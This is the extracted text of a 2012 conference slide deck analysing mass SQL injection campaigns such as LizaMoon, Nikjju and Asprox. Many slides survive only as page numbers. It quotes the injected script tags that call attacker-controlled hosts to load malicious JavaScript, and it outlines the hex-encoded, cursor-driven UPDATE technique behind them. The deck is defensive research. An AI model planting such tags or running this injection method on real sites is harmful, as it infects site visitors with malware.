Analysis of Mass SQLi Attacks
Analysis of Mass SQLi Attacks
Miroslav tampar
([email protected])
Modus operandi
Get hands on couple of 1-day exploits Blindly inject SQL payload carrying malicious content (<script>, <iframe>, etc.) into content tables of as much as possible vulnerable web servers Leverage exploit(s) and/or user's lack of technical knowledge to install malware (spyware, trojans, etc.) to visitor's computer Profit(???) - (DEFCON 18 Garry Pejski: My Life As A Spyware Developer)
FSec FOI 2012, Varadin (Croatia) September 21st, 2012 7
Nikjju (r.php)
<script src=http://nikjju.com/r.php></script>
Robint (u.js)
<script src=http://ww.robint.us/u.js></script>
LizaMoon (ur.php)
</title><script src=http://lizamoon.com/ur.php></script>
Jjghui (urchin.js)
</title><script src=http://jjghui.com/urchin.js></script>
10
11
12
Analysis (1)
Piggy backing (stacked) SQL injection Obfuscated SQL code (hex encoded) Decoded code dynamically executed with TSQL EXEC command Usage of cursor for update Iterating over all tables / all text-like columns Appending malicious content (e.g. <script src=...) to all matched column entries using UPDATE statement
14
Analysis (2)
15
Analysis (3)
16
17
18
19
20
21
22
Asprox (1)
Spam botnet used for phishing scams (>10K bots) Developed over years Interesting update msscntr32.exe (SQL attack tool) Google search for targets (e.g. inurl:".asp") Launch SQL injection attacks against resulting pages
23
Asprox (2)
24
CLI (1)
Standalone executable Rare beast (Chinese underground forums?) Google search for targets (e.g.: inurl:".asp" inurl:"a=") Configurable malicious tag that will be inserted (originally <script src=http://www.2117966.net/fuckjp.js></s cript>) Wild guess is that attackers are being paid for using the tool (backcall to *.cn/pay.asp? SN=...)
FSec FOI 2012, Varadin (Croatia) September 21st, 2012 25
CLI (2)
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Questions?
40